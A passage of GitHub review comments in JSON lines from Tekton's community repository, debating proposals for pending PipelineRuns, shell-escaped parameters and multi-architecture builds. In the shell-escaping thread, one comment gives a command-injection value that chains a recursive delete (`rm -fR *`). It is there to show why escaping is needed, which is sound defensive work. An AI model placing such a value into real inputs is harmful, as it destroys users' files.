Operator, not of the User or any external system. This model makes concurrency caps an operator-level option with all the others in a ConfigMap. If an Operator doesn't want to have a cap, they configure that in the ConfigMap, and no external system can be installed that can change that.\r\n- Paused-ness is a `status`, and not expressed in a `spec` -- paused-ness decisions are a black-box to the User and Operator, and Tekton retains the ability to change how that works without breaking user expectations (modulo [Hyrum's Law](https://www.hyrumslaw.com/), of course)\r\n- This doesn't introduce a new integration point for an external system (the \"unpauser\") -- it brings pausing/unpausing in-house. This avoids the potential situation where possibly multiple pauser/unpausers are operating at once on the same pool of PipelineRuns -- that way lies madness. \ud83d\udc09 \r\n\r\nAnd some disadvantages:\r\n\r\n- Whether concurrency caps are enforced in Tekton or outside, there are going to be races when a PipelineRun is unblocked. This is basically unavoidable, but under this model it's Tekton's responsibility.\r\n- In this model, pausedness is _even more_ integrated into Tekton; the pausing/unpausing logic is in Tekton's reconciler.\r\n- Related to the above, any changes to capping behavior has to go through Tekton's review process, release schedules, etc. -- Tekton's contributors and community are responsible for any bugs.\r\n\r\nWhether this is preferrable, I think it's worth talking through its relative merits and including it as an option in the proposal.", "comment_id": 487249019, "created_at": "2020-09-11T19:32:12Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "jbarrick-mesosphere", "body": "Like I said previously, we need to be able to do our own custom limits, not related strictly to PipelineRun and don't think it's a good idea to include this logic in Tekton itself as this is unnecessary complexity in Tekton.\r\n\r\n> Have the PipelineRun controller consult this config when it sees a new PipelineRun, and if there are already >=N PipelineRuns going, it sets its .status.conditions[type=Succeeded]=Unknown (\"ongoing\"), with Reason=ConcurrencyCapped (naming tbd), and doesn't create any TaskRuns.\r\n\r\nIf this is supported already I'm certainly happy to use it. If it's not, I'm not too particular on the actual API we decide on for the feature I need.\r\n\r\n> This doesn't introduce a new integration point for an external system (the \"unpauser\") -- it brings pausing/unpausing in-house. This avoids the potential situation where possibly multiple pauser/unpausers are operating at once on the same pool of PipelineRuns -- that way lies madness. dragon\r\n\r\nThis is a _disadvantage_ not a benefit.\r\n", "comment_id": 487251942, "created_at": "2020-09-11T19:39:02Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "imjasonh", "body": "> Like I said previously, we need to be able to do our own custom limits, not related strictly to PipelineRun\r\n\r\nWhat kinds of limits are you considering? It sounded like from https://github.com/tektoncd/community/pull/203#discussion_r487232538 it was user-defined concurrency limits (I realize now this presumably means end-users, not Operators, that changes requirements a bit)\r\n\r\n> If this is supported already I'm certainly happy to use it.\r\n\r\nThis _is_ actually possible today, I think. You could have a mutating admission webhook force new PipelineRuns into the `Succeeded=Unknown` state (so Tekton doesn't try to start them immediately) and a reconciling controller with permission to update PipelineRun statuses to push them into a running state, at which point Tekton's normal reconciliation would take over and start any TaskRuns.\r\n\r\nThis _should_ be prototypeable today, though I don't think anybody's done anything like it yet. If you're interested in exploring it I'd be happy to help, and if you find any bugs while investigating I'd be happy to fix them.\r\n\r\n> This is a disadvantage not a benefit.\r\n\r\nEye of the beholder I suppose \ud83d\ude06 . The thought of multiple systems separately judging the same pool of PipelineRuns seems like a real mess to me.", "comment_id": 487269333, "created_at": "2020-09-11T20:16:14Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "jbarrick-mesosphere", "body": "> This is actually possible today, I think. You could have a mutating admission webhook force new PipelineRuns into the Succeeded=Unknown state (so Tekton doesn't try to start them immediately) and a reconciling controller with permission to update PipelineRun statuses to push them into a running state, at which point Tekton's normal reconciliation would take over and start any TaskRuns.\r\n\r\nYeah, I'll try this out and report back. Thanks!", "comment_id": 487270948, "created_at": "2020-09-11T20:20:06Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "chhsia0", "body": "> What kinds of limits are you considering? It sounded like from #203 (comment) it was user-defined concurrency limits (I realize now this presumably means end-users, not Operators, that changes requirements a bit)\r\n\r\nDepends on use cases, the granularity of applying the limits may not be aligned with namespaces. For example, some may want to set concurrency limits per service account or per \"repository.\"", "comment_id": 487292525, "created_at": "2020-09-11T21:10:57Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "popcor255", "body": "Spit balling here. This might be an opportunity make to make custom interceptor with something like rabbitMQ. So, when a event is made you can broker it yourself. \ud83e\udd14 ", "comment_id": 488056791, "created_at": "2020-09-14T16:14:50Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "jbarrick-mesosphere", "body": "```\r\n* PipelineRuns that are not ready to be started could be stored in a\r\n non-Kubernetes-native queue, such as Redis, and only submitted once they are\r\n ready to run. This adds complexity in that a new data store must be run and\r\n it is not easy to provide users visibility into the queue.\r\n```", "comment_id": 488094507, "created_at": "2020-09-14T17:13:46Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "popcor255", "body": "Sorry, I should clarify. Tekton triggers can take events and map them to pipelineruns. There a list of [interceptors](https://github.com/tektoncd/triggers/tree/master/pkg/interceptors) that can manipulate payloads and do extra processing. I agree this approach isn't the best solution. I just think it would be easier to schedule the events rather than pipeline/tasks themselves.", "comment_id": 488173170, "created_at": "2020-09-14T19:34:55Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "popcor255", "body": "I was just wondering if this is an event issue. \ud83d\ude05 ", "comment_id": 488173777, "created_at": "2020-09-14T19:36:04Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "popcor255", "body": "> This is actually possible today, I think. You could have a mutating admission webhook force new PipelineRuns into the Succeeded=Unknown state (so Tekton doesn't try to start them immediately) and a reconciling controller with permission to update PipelineRun statuses to push them into a running state, at which point Tekton's normal reconciliation would take over and start any TaskRuns.\r\n\r\nThis actually just a variation on this comment. nvm. lol\r\n", "comment_id": 488174873, "created_at": "2020-09-14T19:38:11Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "FogDong", "body": "In my case, I need the `pause` status so that the user can do some manual work after a certain task has been completed. For example, once the preprocessing task is complete, we'd like to pause the pipeline, do some label work manually, and after that we can cancel the `pause` status and let the pipeline run.\r\n", "comment_id": 488717378, "created_at": "2020-09-15T14:33:30Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "FogDong", "body": "I think we only need `pause` in `PipelineRun` but not `TaskRun` since `runAfter` only available in `PipelineRun`. Once a `PipelineRun` is paused, after the completion of the current pipeline, the next pipeline that runs after the previous one will be paused, but other pipelines won't be affected.", "comment_id": 488722694, "created_at": "2020-09-15T14:40:25Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "FogDong", "body": "My case is quite different from @jbarrick-mesosphere 's and my PR is based on this \"manual work needed\" situation \ud83e\udd14", "comment_id": 488729845, "created_at": "2020-09-15T14:49:26Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "jbarrick-mesosphere", "body": "It doesn't look like it supports this status yet as it immediately runs:\r\n\r\n```\r\nstatus:\r\n conditions:\r\n - lastTransitionTime: \"2020-09-15T18:15:29Z\"\r\n message: 'Not started yet.'\r\n reason: ConcurrencyCapped\r\n status: \"Unknown\"\r\n type: Succeeded\r\n```\r\n\r\nI went ahead and narrowed the scope of the document to just PipelineRuns. I didn't change the API interface yet, but if everyone prefers it as a condition I am happy to change it to that.", "comment_id": 488922865, "created_at": "2020-09-15T19:35:39Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "jbarrick-mesosphere", "body": "Actually it looks like #3223 uses the `PipelineRunPaused` setting to tell Tekton to pause, which sets the Status condition to Paused. I'll change the TEP to that.", "comment_id": 488925276, "created_at": "2020-09-15T19:38:23Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "withlin", "body": "Will there be any problems if the client-go requeue operation is used here?\r\n", "comment_id": 489134292, "created_at": "2020-09-16T03:08:03Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "withlin", "body": "ref [#issue/pipeline2217](https://github.com/tektoncd/pipeline/issues/2217)\r\n\r\nIf we really need pause taskrun.\r\n\r\nWe can watch the resource status of taskrun, just like the design of [pipelinerun](https://github.com/tektoncd/pipeline/pull/3223), if taskrunpaused is set, it will be suspended.\r\nThe following process\uff1a\r\nwatch taskrun ---> find where taskrun(Pod) is on the node --->find Pod StepUp(containerID) ---> find processID by containerID---> use daemonset excute \u201ckill -STOP Processid\u201d.\r\n\r\nit is so hacking.\r\n\r\nwhat do you think of this idea? ", "comment_id": 489137037, "created_at": "2020-09-16T03:19:05Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "jbarrick-mesosphere", "body": "Sorry, not sure I understand the question", "comment_id": 489591706, "created_at": "2020-09-16T17:07:00Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "jbarrick-mesosphere", "body": "Yeah that sounds very hacky and I don't have a use-case for that feature myself.", "comment_id": 489592390, "created_at": "2020-09-16T17:08:14Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "bobcatfish", "body": "usually these start as \"proposed\" or go straight to \"implementable\"\r\n\r\nwe can definitely merge as \"proposed\" pretty quickly since we've discussed this a bunch, if you want to go straight to \"implementable\" maybe we can get a couple more folks to review @tektoncd/core-maintainers ", "comment_id": 512221658, "created_at": "2020-10-26T19:41:03Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "bobcatfish", "body": "@chhsia0 has mentioned renaming this particular TEP to something like \"Pending\" instead of \"paused\" - if we want to pursue a \"pause\" feature maybe a separate TEP would make sense?", "comment_id": 512228010, "created_at": "2020-10-26T19:52:19Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "bobcatfish", "body": "another alternative we could add here is instead of adding a field to `spec.status` we add a new condition type, e.g. in addition to condition \"succeeded\" we have a condition \"pending\" or something\r\n\r\ni think that the current proposal is better because I think it reflects the purpose of spec vs. status better:\r\n\r\n- spec = the desired behavior (e.g. don't actually run it)\r\n- status = what is actually happening (e.g. it is not running)", "comment_id": 512231104, "created_at": "2020-10-26T19:57:57Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "FogDong", "body": "I agree withe the status `Pending`.\r\n\r\nActually the way I achieve `Paused` is add `PipelinePaused` to `spec.status` just like the way we achieve `PipelineCancelled`. Ref: tektoncd/pipeline#3223\r\n\r\nMaybe I should write another TEP and change the name `Pause` to `Pending` in my PR.", "comment_id": 512566814, "created_at": "2020-10-27T10:17:19Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "bobcatfish", "body": "@FogDong tho they are similar I see these as 2 fairly different sets of functionality:\r\n\r\n1. Pausing Runs = no matter what state the Run currently is in, stop it and don't allow it to progress further (which I think is what tektoncd/pipeline#3223 is about?)\r\n2. Introduce a way to control initial scheduling of runs = Introduce a way to \"freeze\" Runs before they execute and make it possible for an external system to control when Runs are actually executed (which is what this \"pending\" TEP is about)\r\n\r\nI would see having two different \"levers\" (e.g. 2 different values in spec.status) to control this. Or even if we use the same spec.status value for both, I think we'd likely approve and move forward with the proposal here, which has a much smaller scope.\r\n\r\nTo move forward with the pausing functionality we'll probably need to discuss in a further TEP - and especially to understand the use cases around this. (note that a \"pause\" of sorts could be introduced via a custom task [tep 0002](https://github.com/tektoncd/community/blob/master/teps/0002-custom-tasks.md)", "comment_id": 512964308, "created_at": "2020-10-27T19:21:50Z", "line": null, "path": "teps/0015-pause-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "bobcatfish", "body": "it might be worth being explicit around how this state relates to the PipelineRun timing out, i.e. does the timeout start counting down while the PipelineRun is still pending or only once it starts running? (I'm guessing it doesn't start until the PipelineRun actually starts running?)", "comment_id": 516227871, "created_at": "2020-11-02T20:12:57Z", "line": 100, "path": "teps/0015-pending-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "pritidesai", "body": "Can we add more details what \"normal\" means here?\r\n\r\nWhat is reconciler doing after resuming back? Is there any specific validation `reconciler` needs to implement/check to resume back?\r\n\r\n`Cancellation` is an easy job, cancel task, update status, and be done. But I am guessing `resuming` is not. What are the possible pipelineRun states which can allow `pipelineRun` going in `pending` mode?\r\n\r\n ", "comment_id": 517037872, "created_at": "2020-11-04T00:49:14Z", "line": null, "path": "teps/0015-pending-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "jbarrick-mesosphere", "body": "Alright, I have tried to clarify this in the document, let me know if it helps.", "comment_id": 520863640, "created_at": "2020-11-10T20:47:00Z", "line": null, "path": "teps/0015-pending-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "pritidesai", "body": "thanks Justin, its not clear to me but thats fine, its just me, please squash the commits before we can merge. We can discuss further in the implementation PR.\r\n\r\nI am having hard time understanding, when can I send a `pipelineRun` in pending mode? As soon as a `pipelineRun` is instantiated, it initializes the `pr.Status.Conditions` with `status` set to `unknown` and reason to `started` with the start time. Can a `started` pipeline be assigned `pending` state?\r\n\r\nI am assuming here the answer is no, since the pipeline is already marked as started and have started validating resources.\r\n\r\nAfter all the validation is done, `pr.Status` is set to `running` from `started`. How is `webhook` validating that the pipelinerun has not been created/running? \r\n\r\nWhen a status field is set to empty (to resume from pending state), what state is being assigned to `pr.Status`? `started`, `running` ?\r\n \r\n", "comment_id": 520955856, "created_at": "2020-11-11T00:14:42Z", "line": null, "path": "teps/0015-pending-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "bobcatfish", "body": "pinging this - id like to be explicit about how this interacts with timeouts in the proposal \ud83d\ude4f ", "comment_id": 521454981, "created_at": "2020-11-11T15:52:33Z", "line": 100, "path": "teps/0015-pending-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "bobcatfish", "body": "@pritidesai if this helps, the webhook will validate before the reconciler does anything\r\n\r\nthe sequence of events that i understand will be (e.g. imagining you're doing something like `kubectl create/apply -f pipelinerun.yaml` or a tool is doing the equivalent):\r\n\r\n1. make call to API server to create PipelineRun\r\n2. API server calls out to any validating/mutating webhooks\r\n3. If the webhooks indicate the PipelineRun is invalid, the creation fails and an error is returned to the user\r\n4. API server stores the pipelinerun in etcd\r\n5. API server notifies any watching connections of the creation of the new pipelinerun\r\n6. pipeline controller is notified of new pipelinerun, then starts reconcling\r\n\r\nAt (6), the controller would see the \"pending\" spec.status and would update the conditions to \"unknown pipelinerun is pending\" \r\n\r\nLater on, you'd actually start the PipelineRun by removing spec.status.pending. At that point this would happen:\r\n\r\n1. make call to API server to modify PipelineRun\r\n2. API server calls out to any validating/mutating webhook\r\n3. Removing spec.status.pending is valid, so the mutation is allowed\r\n4. API server stores the pipelinerun in etcd\r\n5. API server notifies any watching connections of the modification of the pipelinerun\r\n6. pipeline controller is notified of modification, then starts reconcling\r\n\r\nThen in (6) the controller would see that \"pending\" had been removed and know to transition from \"unknown pipelinerun is pending\" to actually starting to execute the pipeline.\r\n\r\nAfter that point, if anyone tried to modify spec.status.pending, the webhook would see in the status of the PipelineRun that it is already running and deny the mutation; the change would never even be stored.", "comment_id": 521458764, "created_at": "2020-11-11T15:58:00Z", "line": null, "path": "teps/0015-pending-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "jbarrick-mesosphere", "body": "Timeouts use the `.status.startTime` field which is set once the PipelineRun has actually started running, not the PipelineRun creation time, so there is no impact. I have added a note. This is ready for merge now.", "comment_id": 521624008, "created_at": "2020-11-11T20:37:42Z", "line": 100, "path": "teps/0015-pending-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "pritidesai", "body": "thanks a bunch @bobcatfish for the walkthrough \ud83d\ude3b \r\n\r\nso between 5 and 6, the process watching these connections of creating a new `pipelineRun` will have to update the conditions to `pending` and looking at the controller logs (also depends on how the monitoring process is designed/implemented and the platform its running on), not much time (in may be part of micro seconds) before a `pipelineRun` actually starts running after getting created. \r\n\r\n\r\n> If the PipelineRunPending setting is set after a PipelineRun has been created, the validating webhook should reject the update.\r\n\r\nAlso, this statement is very confusing, compared to transitioning from 5 to 6, if pipelineRun creation is considered invalid going into pending state, how would the watching process know a `pipelineRun` was initiated?\r\n\r\nOverall approach seems reasonable. This will be very interesting to see being implemented \ud83d\ude1c \r\n\r\n/lgtm \r\n\r\n\r\n ", "comment_id": 521928339, "created_at": "2020-11-12T08:38:37Z", "line": null, "path": "teps/0015-pending-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "bobcatfish", "body": "> so between 5 and 6, the process watching these connections of creating a new pipelineRun will have to update the conditions to pending \r\n\r\nDo you mean the new service, e.g. let's call it Concurrency Service, will need to add the \"pending\" label? You're right that the window to do that in would be impossibly small and racy.\r\n\r\nIn fact for this to work I think the PipelineRuns would need to be created from the start with the \"pending\" label. This means that users or tooling would have to include it, and it could be backed up with a validating webhook if desired (i.e. do not allow for creation of PipelineRuns without \"spec.status.pending\")", "comment_id": 522163642, "created_at": "2020-11-12T14:50:22Z", "line": null, "path": "teps/0015-pending-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "pritidesai", "body": "> Do you mean the new service, e.g. let's call it Concurrency Service, will need to add the \"pending\" label? You're right that the window to do that in would be impossibly small and racy.\r\n\r\nYup, the Concurrency Service having a very small window. Also, making sure that the Concurrency service add pending label to only the requested runs.\r\n\r\n@chhsia0 would like to have details on how `the Concurrency Service` in your environment is making use of this label when we move this TEP to implementable.", "comment_id": 522277310, "created_at": "2020-11-12T17:18:44Z", "line": null, "path": "teps/0015-pending-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "jbarrick-mesosphere", "body": "In our environment, all PipelineRuns will be created in the pending state and activated by the concurrency service when ready. For example, the concurrency service may check how many PipelineRuns are running and start any pending PipelineRuns when there are less PipelineRuns running than some user defined concurrency threshold.", "comment_id": 522283112, "created_at": "2020-11-12T17:25:53Z", "line": null, "path": "teps/0015-pending-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "bobcatfish", "body": "> Do you mean the new service, e.g. let's call it Concurrency Service, will need to add the \"pending\" label? You're right that the window to do that in would be impossibly small and racy.\r\n\r\n> Yup, the Concurrency Service having a very small window.\r\n\r\n@jbarrick-mesosphere is already saying this but to be totally clear: we **cannot** rely on a watching service to add the pending label (b/c the window would be so small and racy, if its even possible) - using this feature would **require** creating PipelineRuns with spec.status.pending", "comment_id": 522320433, "created_at": "2020-11-12T18:22:27Z", "line": null, "path": "teps/0015-pending-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "pritidesai", "body": "Thanks a bunch @bobcatfish and @jbarrick-mesosphere \r\n\r\nso, run is created in pending mode and watching service is responsible for clearing this label so that the run can be scheduled/executed.\r\n\r\nWhat happens if the pipeline or task definition changes between the time it was sent to pending vs the time it was activated to run? The run continues with the old or new definition? or its discarded saying the definition changed?\r\n\r\nWhen it says the status is set to empty to activate the run, is it the same `status` which was used to send it to `pending`? In that case, isn't it equivalent to creating a new run from the syntax perspective? of course, the controller will check to create a new run or activate the pending run. I am not objecting this but just making it explicit.\r\n\r\n\r\n\r\n\r\n", "comment_id": 522507883, "created_at": "2020-11-12T23:41:07Z", "line": null, "path": "teps/0015-pending-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "bobcatfish", "body": "> What happens if the pipeline or task definition changes between the time it was sent to pending vs the time it was activated to run? The run continues with the old or new definition? or its discarded saying the definition changed?\r\n\r\nThat's an interesting question - afaik today you can update a PipelineRun in progress and the changes will be picked up and used - e.g. say. you were running a PipelineRun with param X set to \"foo\", used by Task A, then Task B (which runs after Task A). If, while Task A was running, you changed the value of the param X to \"bar\", I think Task B would end up using Bar.\r\n\r\nI might be wrong but I don't think we have anything in place that would prevent that from happening today, so I think this question applies globally to Run execution and not just to this feature.\r\n\r\n> In that case, isn't it equivalent to creating a new run from the syntax perspective?\r\n\r\nI think it's very similar to \"cancelling\" a pipeline run, which is also done by modifying the value of spec.status (i.e. we do not treat this as creating a run, we treat this as a way to communicate the desired state of the existing run)", "comment_id": 523053085, "created_at": "2020-11-13T16:14:51Z", "line": null, "path": "teps/0015-pending-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "vdemeester", "body": "> What happens if the pipeline or task definition changes between the time it was sent to pending vs the time it was activated to run? The run continues with the old or new definition? or its discarded saying the definition changed?\r\n\r\nThis is a very good question. Depending on what we wanna do, we could prevent that. At the \"creation\" time and first \"reconciliation\" loop, we get the `PipelineSpec` (from whatever it comes from) and store it into the status (also known as dereference). We could base the rest of the code and reconciliation loop to look at the status's pipelineSpec (and taskSpec) as source of truth. \r\n\r\nThis would fix a bunch of potential problems too (that exists today) : what happens when the def of reference change (also applies to bundles), and it would probably reduce api calls (as we would have all we need at hand).", "comment_id": 523063576, "created_at": "2020-11-13T16:31:36Z", "line": null, "path": "teps/0015-pending-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "pritidesai", "body": "> I might be wrong but I don't think we have anything in place that would prevent that from happening today, so I think this question applies globally to Run execution and not just to this feature.\r\n\r\nI agree the specified example is not specific to this feature but applies globally. Yup, we work on modified `spec` so the changes are picked up. I am more concerned with one scenario with this feature is `permanentError` i.e. Task A existed at the time of creating a run in pending mode but at the time executing, if Task A is missing, controller would exit with `missingTaskDef` but the `pr.Status.Spec` would actually have that definition. This is something very rare and applies more to this feature. \r\n\r\nI like what @vdemeester is suggesting to consider `pr.Status.Spec` as a source of truth which is more visible in this feature and `bundles` (hopefully not fetching bundles on every reconciliation loop, though I am not able to recall how its implemented).\r\n\r\n> I think it's very similar to \"cancelling\" a pipeline run, which is also done by modifying the value of spec.status (i.e. we do not treat this as creating a run, we treat this as a way to communicate the desired state of the existing run)\r\n\r\nRight, but the existing proposal does not have any special status to cancel pending state and resume executing the run. `spec.Status` is set to `cancel` to cancel existing run, `spec.Status` is set to `pending` to create run in pending state, spec.Status to empty ``, to resume pending run? \r\n\r\nAlso, something more to consider is how long a `pipelineRun` can stay in `pending` state? Controller can create many such runs and forget about them. What happens if those `runs` are never resumed back? This might seem out of scope here but this can fill up `etcd` quickly and can impact the controller.\r\n\r\nThese are all very important and useful discussions and I appreciate all of your patience \ud83d\ude4f \r\n\r\n\r\n\r\n\r\n", "comment_id": 523181981, "created_at": "2020-11-13T19:38:03Z", "line": null, "path": "teps/0015-pending-pipeline.md", "pr_number": 203, "repo": "community"} +{"author": "bobcatfish", "body": "could you explain a bit more about what exactly this would look like, maybe with some examples?\r\n\r\ni.e. given input X, the task would be provided with Y\r\n\r\nLooking at the printf command I don't fully understand what this implies:\r\n\r\n> Output the corresponding argument in a format that can be reused as shell input\r\n\r\nDoes this mean we need to know what shell we're dealing with and output differently according to that, or will the result be the same for every shell?", "comment_id": 502003241, "created_at": "2020-10-08T20:47:51Z", "line": null, "path": "teps/0017-shell-escaped-params.md", "pr_number": 208, "repo": "community"} +{"author": "bobcatfish", "body": "would another valid alternative be for ppl to call `printf '%q'` themselves in their script?", "comment_id": 502003452, "created_at": "2020-10-08T20:48:19Z", "line": 144, "path": "teps/0017-shell-escaped-params.md", "pr_number": 208, "repo": "community"} +{"author": "coryrc", "body": "No, because you can't safely paste the parameter into the script. If you could, you wouldn't need `printf '%q'` in most cases.", "comment_id": 502034000, "created_at": "2020-10-08T21:53:48Z", "line": 144, "path": "teps/0017-shell-escaped-params.md", "pr_number": 208, "repo": "community"} +{"author": "coryrc", "body": "The result will be the same for every shell.\r\nI will put in an example.", "comment_id": 502034212, "created_at": "2020-10-08T21:54:17Z", "line": null, "path": "teps/0017-shell-escaped-params.md", "pr_number": 208, "repo": "community"} +{"author": "coryrc", "body": "I added answers to all your questions.", "comment_id": 502047412, "created_at": "2020-10-08T22:28:51Z", "line": null, "path": "teps/0017-shell-escaped-params.md", "pr_number": 208, "repo": "community"} +{"author": "bobcatfish", "body": "i think i understand what you're saying, but maybe you could include an example in the TEP that explains why?\r\n\r\nI think you're saying you'd end up with something like:\r\n\r\nfoo = `'; rm -fR *;'`\r\n\r\nand you tried to do `printf '%q' $(params.foo)` you'd end up with `printf '%q' ; rm -fR *;'` ?", "comment_id": 502608429, "created_at": "2020-10-09T18:37:32Z", "line": 144, "path": "teps/0017-shell-escaped-params.md", "pr_number": 208, "repo": "community"} +{"author": "bobcatfish", "body": "if we go ahead, what do you think about leaving this out? one reason we haven't provided a feature to flatten arrays as strings so far is it raises a lot of questions, e.g. for starters are the values in the resulting string separated by spaces or commas or other?", "comment_id": 502613689, "created_at": "2020-10-09T18:48:14Z", "line": null, "path": "teps/0017-shell-escaped-params.md", "pr_number": 208, "repo": "community"} +{"author": "coryrc", "body": "Something will happen if it's an array -- I'm not sure what that something should be, but I think it should be defined.", "comment_id": 502616197, "created_at": "2020-10-09T18:53:36Z", "line": null, "path": "teps/0017-shell-escaped-params.md", "pr_number": 208, "repo": "community"} +{"author": "bobcatfish", "body": "i suggest for now we fail validation if you try to use `.shell-escaped` on an array", "comment_id": 502624446, "created_at": "2020-10-09T19:11:39Z", "line": null, "path": "teps/0017-shell-escaped-params.md", "pr_number": 208, "repo": "community"} +{"author": "coryrc", "body": "Added as the do-nothing alternative", "comment_id": 502626920, "created_at": "2020-10-09T19:17:29Z", "line": 144, "path": "teps/0017-shell-escaped-params.md", "pr_number": 208, "repo": "community"} +{"author": "coryrc", "body": "done", "comment_id": 502627258, "created_at": "2020-10-09T19:18:20Z", "line": null, "path": "teps/0017-shell-escaped-params.md", "pr_number": 208, "repo": "community"} +{"author": "afrittoli", "body": "If we go for this, we should still hide the path behind a Tekton variable as opposed to exposing a fixed path to users.", "comment_id": 503412938, "created_at": "2020-10-12T16:40:32Z", "line": 142, "path": "teps/0017-shell-escaped-params.md", "pr_number": 208, "repo": "community"} +{"author": "imjasonh", "body": "With recently added support for [building multi-arch images in `ko`](https://github.com/google/ko/pull/38), and [multi-arch support for distroless](https://github.com/GoogleContainerTools/distroless/pull/586) (which we use as a base for most of our images), we can soon start to build multi-arch images using `ko resolve\u00a0--platform=all`, from the normal dogfooding cluster we use today.\r\n\r\nThere will need to be some work to make the `git-init` steps, and some others, multi-arch-capable, but until then at least Pipelines that don't use the `git` resource should be supported just fine.\r\n\r\nWith those aside, once we get Tekton's release onto `--platform=all`, supporting new arch boils down to adding support for that arch to `gcr.io/distroless/static`, which is just a few static files in a container.", "comment_id": 496701364, "created_at": "2020-09-29T13:07:55Z", "line": null, "path": "teps/0019-other-arch-support.md", "pr_number": 211, "repo": "community"} +{"author": "imjasonh", "body": "This in-depth detail is really helpful, but it might help to review and approve the TEP if we elide the specifics of how the build happens, and focus on answering 1.) should we do this (definitely), and 2.) is [this] roughly _how_ we should do it, where [this] is purposefully kept high-level.", "comment_id": 496702857, "created_at": "2020-09-29T13:10:02Z", "line": null, "path": "teps/0019-other-arch-support.md", "pr_number": 211, "repo": "community"} +{"author": "imjasonh", "body": "This is a risk that doesn't describe a mitigation. Who's responsible for debugging and fixing test failures that only affect non-amd64 builds? Is that the regular buildcop? Some person/people with arch-specific knowledge?", "comment_id": 496704022, "created_at": "2020-09-29T13:11:45Z", "line": 163, "path": "teps/0019-other-arch-support.md", "pr_number": 211, "repo": "community"} +{"author": "vdemeester", "body": "One thing on `--platform=all`, what if we don't want to support *all* platform ? (aka, I think it does get the list of platform from the base image used)", "comment_id": 496781855, "created_at": "2020-09-29T14:50:01Z", "line": null, "path": "teps/0019-other-arch-support.md", "pr_number": 211, "repo": "community"} +{"author": "imjasonh", "body": "Is there a reason you don't want support for all possible platforms?\r\n\r\nIf so, we _could) consider modifying `ko` based on our needs to allow us to specify more complex `--platform` flag values. Today, it supports `--platform=amd64` (or any single arch), or `--platform=all` (build for all platforms supported by the base image). If we wanted `--platform=amd64,arm64,s390x` or `--platform=all,-amd64` we could certainly discuss that use case with the `ko` maintainers. But I'd like to make that request with a well-formed reason for why we don't want to build for all available platforms.", "comment_id": 496798150, "created_at": "2020-09-29T15:10:27Z", "line": null, "path": "teps/0019-other-arch-support.md", "pr_number": 211, "repo": "community"} +{"author": "mattmoor", "body": "Yeah, `all` was added as a starting point. There are a few more \"fun\" models that @jonjohnsonjr and I were discussing, but decided this was a nice and simple starting point. Flags is obviously one of the easiest ways to go.\r\n\r\nI really wanted to do something smart around intersecting the base images of the collection of import referenced being resolved, but @jonjohnsonjr pointed out that users might want more heterogeneity than this allows (e.g. if I'm targeting a mixed cluster and my node selectors express things my base images do not).\r\n\r\nAt the end of the day, you have control of the base images you use, so `--platform=all` is a pretty powerful (albeit complex) escape hatch for folks to use here.", "comment_id": 496803934, "created_at": "2020-09-29T15:18:01Z", "line": null, "path": "teps/0019-other-arch-support.md", "pr_number": 211, "repo": "community"} +{"author": "vdemeester", "body": "> Is there a reason you don't want support for all possible platforms?\r\n\r\nYes, man power :upside_down_face:, hardware availability, platform knowledge. We will need to **support** those, fix bugs, reproduce problems, \u2026 this is.. some work :upside_down_face:. Currently, `gcr.io/distroless/\u2026` supports amd64 and arm64 right ? so we would support only those (which is fine). What if I want to support more ? Using another base (`ubuntu`) that supports more is fine, but then, maybe `ubuntu` also support `arm` or something I don't have the power to support as of today (hardware availability to test things, etc\u2026).\r\n\r\nAs long as it supports single arch (`--platform=amd64`), I am fine, we can setup our release pipeline to loop over the arch *we* want to support. `--platform=amd64,arm64,s390x` would be nice to have, but is not something required.\r\n\r\n> At the end of the day, you have control of the base images you use, so `--platform=all` is a pretty 